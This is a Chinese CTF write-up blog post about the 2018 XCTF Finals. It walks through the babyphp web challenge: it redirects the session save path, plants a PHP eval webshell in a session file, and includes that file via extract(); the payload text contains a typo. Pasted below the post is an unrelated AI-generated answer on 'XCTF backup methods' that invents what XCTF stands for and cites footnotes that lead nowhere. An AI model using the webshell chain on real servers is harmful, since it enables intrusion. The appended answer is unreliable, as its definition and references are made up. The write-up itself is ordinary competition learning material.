2018 XCTF FINALS

参加2018 XCTF总决赛后的感悟与技术总结,涵盖攻防赛pwn、Web、Misc题目的解题过程,特别介绍了硬件挑战及Web漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

欢迎关注我的新博客: http://mmmmmmlei.cn
有幸参加了 2018 XCTF FINALS,线下长了不少见识。回学校就打了上海市大学生网络安全竞赛,现在记录一下 XCTF FINALS。

攻防赛四道 pwn,Web 狗也只能打打解题这样子…

解题有 5 道 Misc,2 道 Web 和 4 道 pwn,和队友做出了两道 Misc ,一道 Web 和两道 pwn。不得不说这次的 Misc 很新颖,加入了硬件的挑战,有两道题是通过给的路由器来拿 flag,还有核弹遥控器密码和无线频谱的题,自己太菜了,学不动…

Web

babyphp

这个题做的时候好像被人搅屎了,思路很清晰但是打不成功。。。后来找麦香师傅要了 docker,复现了一波就成了emmmmmm 有点可惜。

题目源码:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

限定了包含的目录,有回调函数可以执行函数,session 的内容可以通过 name 控制。

开始没有 get 到出题人的点,这种没有给任何 flag 信息的题应该就是 getshell了。开始一直纠结于回调函数第二个参数是数组如何利用,后来才知道这个题考点是php7 + session 路径 + 变量覆盖

name 可以控制 session 文件的内容,那么要把马写到 session 文件中去。然而 php 默认的 session 存储存储路径显然不在限定的/var/www/html 和 /tmp 中,我们无法包含,也就无法利用。

这里用到了 php7 的一个新特性,从 php7 开始,session_start 函数可以接收一个关联数组,可以覆盖 php.ini 文件中的默认配置,详细可见官方文档

image.png

我们可以利用这个特点修改 session 的存放位置,payload:

?function=sesson_start&save_path=/tmp

同时 post name 参数,把马写入 session 文件:

name=<?php @eval($_POST['gml']);?>

这样就把马写入了 session 文件里。(注意,php.ini 中设置 session 文件存储位置的变量是 session.save_path,payload 里不需要加 session. 加的话 . 也会被替换成 _,因为 php 规定变量名是不可以带 . 的,坑了我好久)

那么如何包含我们写的马呢? 代码里有个 include($file); ,这里需要通过 extract 函数覆盖 file 变量,包含我们写的马,session 文件的命名为sess_PHPSESSID 所以通过下面的 payload 执行代码:

?function=extract&file=/tmp/sess_bl0ur0r6ni8ioq5mqggr3sh5h5

image.png

发现执行命令成功:

image.png

然后就是读 flag 了,拿蚁剑连一下:

image.png

PUBG

这道题是之前 2018 HITB GSEC FINAL 的 AWD 一道题的环境做了一些修改,当时我也去了现场,虽然没有打 AWD (打的解题)但是听了出题师傅 RicterZ 在新加坡国立大学的出题分享,照着差不多算是 wp 的 ppt 复现题目可还行…

这个题比较麻烦,源码泄露-> ZEND解密 -> sql 注入-> 伪造 cookie 进管理员 -> 控制 curl 的内容写 shell,具体可以参考 De1ta 的 Web 大师傅的 wp

Misc

Budge1

Budge1 和 Budge2 是需要根据给的路由器拿 flag。

Budge1 相对简单,Budge2 是拿到管理员的 shell,登进去管理员页面看 flag,还要焊接的操作,只可惜当时做的时候没有硬件了。。。

Budge1 踩了坑,题目没给提示,还以为要抓包,连上网线分析了半天流量也没什么发现,然后出题人前面说 Budge1 是读灯的信息,才发现硬件有灯闪烁,应该是二进制的信息。两个灯可以闪烁,分别对应 0 和 1,连起来 hex 解码是 hitb2018 ,然后怎么交也不对,提示说各种编码,hex 编码就过了…

Mysterious signals

hint:无线射频频谱 radio frequency spectrum

使用 Audacity 导入数据(文件 -> 导入 -> 原始数据),查看频谱:

image.png

感受

见识了许多国内强队,Nu1lL 的师傅们就坐在对面… 还有 0ops,天枢等强队,r3kapig 的师傅们 tql。

Web 狗打不成攻防,肝了两天的解题,硬件的 Misc 题还是挺有趣的,第一天晚上回去肝核弹遥控器密码那个 Misc,只可惜没找到正确的工具分析,两天睡了 3 个多小时也是比较疲惫,不过酒店和队友一起肝的感觉也很好,有时候比赛结果并不是最重要的,重要的是有和你一起肝的兄弟们和朋友。

### XCTF备份方法与工具 XCTF(X-Code Technology Framework)通常指的是一个竞赛平台或技术框架,其备份方法和工具主要依赖于具体的实现环境。以下是几种常见的备份方法和工具,适用于XCTF或其他类似的技术框架。 #### 1. 数据库备份 在XCTF中,如果使用了数据库来存储用户信息、题目数据等关键内容,则可以采用以下数据库备份方法: - **mysqldump**:对于MySQL数据库,`mysqldump` 是一种常用的备份工具。它能够导出完整的SQL脚本,便于恢复和迁移[^2]。 ```bash mysqldump -u username -p database_name > backup.sql ``` - **pg_dump**:对于PostgreSQL数据库,`pg_dump` 提供了类似的备份功能[^3]。 ```bash pg_dump -U username -d database_name -f backup.sql ``` #### 2. 文件系统备份 XCTF的文件系统可能包含题目文件、日志文件和其他静态资源。这些文件可以通过以下工具进行备份: - **rsync**:用于同步本地或远程文件系统,支持增量备份,减少传输量[^4]。 ```bash rsync -avz /source/directory/ user@remote:/destination/directory/ ``` - **tar**:将文件打包并压缩为单个存档文件,方便存储和传输[^5]。 ```bash tar -czvf backup.tar.gz /path/to/files ``` #### 3. 容器化备份 如果XCTF运行在Docker容器中,可以使用以下方法备份容器状态: - **docker commit**:将当前容器的状态保存为镜像[^6]。 ```bash docker commit container_id new_image_name ``` - **docker save**:将镜像保存为可移植的归档文件[^7]。 ```bash docker save -o backup.tar new_image_name ``` #### 4. 配置文件备份 XCTF的配置文件通常包括服务启动参数、API密钥等敏感信息。可以使用Git等版本控制工具进行管理,并通过加密工具保护敏感数据[^8]。 - **git**:记录配置文件的历史变更,便于回滚和协作。 ```bash git add config_files git commit -m "Backup configuration" ``` - **gpg**:对配置文件进行加密存储,确保安全性[^9]。 ```bash gpg --output config.gpg --encrypt config.json ``` #### 5. 自动化备份工具 为了简化备份流程,可以使用以下自动化工具: - **cron**:在Linux系统中设置定时任务,定期执行备份脚本[^10]。 ```bash crontab -e # 添加如下行以每天凌晨2点执行备份 0 2 * * * /path/to/backup_script.sh ``` - **Ansible**:通过编写Playbook实现跨服务器的备份任务自动化[^11]。 ### 示例代码 以下是一个简单的Python脚本,用于备份XCTF的关键文件并上传到远程服务器: ```python import os import shutil import paramiko def backup_xctf(source_dir, target_dir): if not os.path.exists(target_dir): os.makedirs(target_dir) shutil.make_archive(os.path.join(target_dir, 'xctf_backup'), 'zip', source_dir) def upload_to_remote(local_file, remote_path, ssh_host, ssh_port, ssh_user, ssh_key): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ssh_host, port=ssh_port, username=ssh_user, key_filename=ssh_key) sftp = ssh.open_sftp() sftp.put(local_file, remote_path) sftp.close() ssh.close() # 调用示例 backup_xctf('/var/xctf', '/tmp/backups') upload_to_remote('/tmp/backups/xctf_backup.zip', '/remote/backups/xctf_backup.zip', 'example.com', 22, 'user', '/path/to/key') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值